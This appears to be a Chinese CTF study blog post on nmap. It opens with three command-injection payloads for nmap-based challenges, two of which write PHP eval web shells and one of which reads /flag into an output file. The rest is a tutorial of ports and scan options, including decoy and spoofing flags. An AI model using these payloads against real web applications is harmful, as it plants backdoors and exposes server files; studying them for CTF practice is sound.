一些关于nmap命令执行的题目payload
' -oN b.phtml <?=eval($_POST[a]);?>'
' -iL /flag -oN flag.txt '
' <?php @eval($_POST["hack"]);?> -oG hack.php '
nmap这个渗透工具一般有在渗透的准备阶段,用于收集用户的信息,为后面的渗透做情报支持
Nmap是主机扫描工具,他的图形化界面是Zenmap,分布式框架为Dnmap。
Nmap可以完成以下任务:
- 主机探测
- 端口扫描
- 版本检测
- 系统检测
- 支持探测脚本的编写
Nmap在实际中应用场合如下:
- 通过对设备或者防火墙的探测来审计它的安全性
- 探测目标主机所开放的端口
- 通过识别新的服务器审计网络的安全性
- 探测网络上的主机
常见服务对应端口号:
服务 | 端口号 |
---|---|
HTTP | 80 |
HTTPS | 443 |
Telnet(远程登录) | 23 |
SSH(安全登录),SCP(文件传输),端口重定向 | 22 |
SMTP(简单邮件传输协议) | 25 |
POP3( 邮局协议版本3 ) | 110 |
WebLogic | 7001 |
TOMCAT( Java Web服务器 ) | 8080 |
WIN2003远程登录 | 3389 |
Oracle数据库 | 1521 |
MY SQL SERVER数据库 | 1433 |
MySQL数据库 | 3306 |
在kali中使用:命令行nmap即可使用
nmap -version即可查看nmap的版本信息
扫描简单来说就是四个动作
- 统一沟通语言(TCP/IP协议)
- 发出刺激(ICMP报文头)
- 受到刺激的反馈(ICMP的反馈)
- 通过比对刺激和反馈完成扫描
说实话这四个动作具体是啥意思我也不是很明白
将你要扫描的设备地址告诉nmap可以通过下面的方法实现统一的格式
- namp [扫描类型] [设置] {设备地址}
nmap常用的参数及意义
- -A :选择用于使用进攻性方式扫描;全面系统检测,启用脚本检测,扫描。(推荐)
- -T4:指定扫描过程使用的时序,表示禁止动态扫描延时超过的时间;总共有6个级别(0-5)。级别越高,扫描速度越快,但也容易被防火墙或IDS检测并屏蔽掉,在网络通讯状况较好的情况下推荐使用T4 。*( 假如防火墙是一幢大楼的门锁,那么IDS就是这幢大楼里的监视系统。一旦小偷爬窗进入大楼,或内部人员有越界行为,只有实时监视系统才能发现情况并发出警告。 )(推荐)
- -oX test.xml:将扫描结果生成test.xml文件
- -oG test.txt:将扫描结果生成test.txt文件
- -sn:只进行主机发现,不进行端口扫描
- -O:指定Nmap进行系统版本扫描
- -sV:指定Nmap进行服务版本扫描
- -p
<port ranges>
:扫描指定的端口 - -sS/sT/sA/sW/sM:指定使用 TCP SYN/Connect()/ACK/Window/Maimon scans的方式来对目标主机进行扫描
- -sU: 指定使用UDP扫描方式确定目标主机的UDP端口状况
- -script
<script name>
: 指定扫描脚本 - -Pn : 不进行ping扫描(推荐)
- -sP : 用ping扫描判断主机是否存活,只有主机存活,nmap才会继续扫描,一般最好不加,因为有的主机会禁止ping
- -PI : 设置这个选项,让nmap使用真正的ping(ICMP echo请求)来扫描目标主机是否正在运行。
- -iL 1.txt : 批量扫描1.txt中的目标地址
- -sL: List Scan 列表扫描,仅将指定的目标的IP列举出来,不进行主机发现
- -sY/sZ: 使用SCTP INIT/COOKIE-ECHO来扫描SCTP协议端口的开放的情况
- -sO: 使用IP protocol 扫描确定目标机支持的协议类型
- -PO : 使用IP协议包探测对方主机是否开启
- -PE/PP/PM : 使用ICMP echo、 ICMP timestamp、ICMP netmask 请求包发现主机
- -PS/PA/PU/PY : 使用TCP SYN/TCP ACK或SCTP INIT/ECHO方式进行发现
- -sN/sF/sX: 指定使用TCP Null, FIN, and Xmas scans秘密扫描方式来协助探测对方的TCP端口状态
- -e eth0:指定使用eth0网卡进行探测
- -f : –mtu
<val>
: 指定使用分片、指定数据包的 MTU. - -b
<FTP relay host>
: 使用FTP bounce scan扫描方式 - -g: 指定发送的端口号
- -r:不进行端口随机打乱的操作(如无该参数,nmap会将要扫描的端口以随机顺序方式扫描,以让nmap的扫描不易被对方防火墙检测到)
- -v :表示显示冗余信息,在扫描过程中显示扫描的细节,从而让用户了解当前的扫描状态(推荐)
- -n : 表示不进行DNS解析;
- -D <decoy1,decoy2[,ME],…>: 用一组 IP 地址掩盖真实地址,其中 ME 填入自己的 IP 地址
- -R :表示总是进行DNS解析。
- -F : 快速模式,仅扫描TOP 100的端口
- -S
: 伪装成其他 IP 地址 - –ttl
<val>
: 设置 time-to-live 时间 - –badsum: 使用错误的 checksum 来发送数据包(正常情况下,该类数据包被抛弃,如果收到回复,说明回复来自防火墙或 IDS/IPS)
- –dns-servers : 指定DNS服务器
- –system-dns : 指定使用系统的DNS服务器
- –traceroute : 追踪每个路由节点
- –scanflags
<flags>
: 定制TCP包的flags - –top-ports
<number>
:扫描开放概率最高的number个端口 - –port-ratio
<ratio>
: 扫描指定频率以上的端口。与上述–top-ports类似,这里以概率作为参数 - –version-trace: 显示出详细的版本侦测过程信息
- –osscan-limit: 限制Nmap只对确定的主机的进行OS探测(至少需确知该主机分别有一个open和closed的端口)
- –osscan-guess: 大胆猜测对方的主机的系统类型。由此准确性会下降不少,但会尽可能多为用户提供潜在的操作系统
- –data-length
<num>
: 填充随机数据让数据包长度达到 Num - –ip-options
<options>
: 使用指定的 IP 选项来发送数据包 - –spoof-mac <mac address/prefix/vendor name> : 伪装 MAC 地址
- –version-intensity
<level>
: 指定版本侦测强度(0-9),默认为7。数值越高,探测出的服务越准确,但是运行时间会比较长。 - –version-light: 指定使用轻量侦测方式 (intensity 2)
- –version-all: 尝试使用所有的probes进行侦测 (intensity 9)
若没有本文 Issue,您可以使用 Comment 模版新建。
GitHub Issues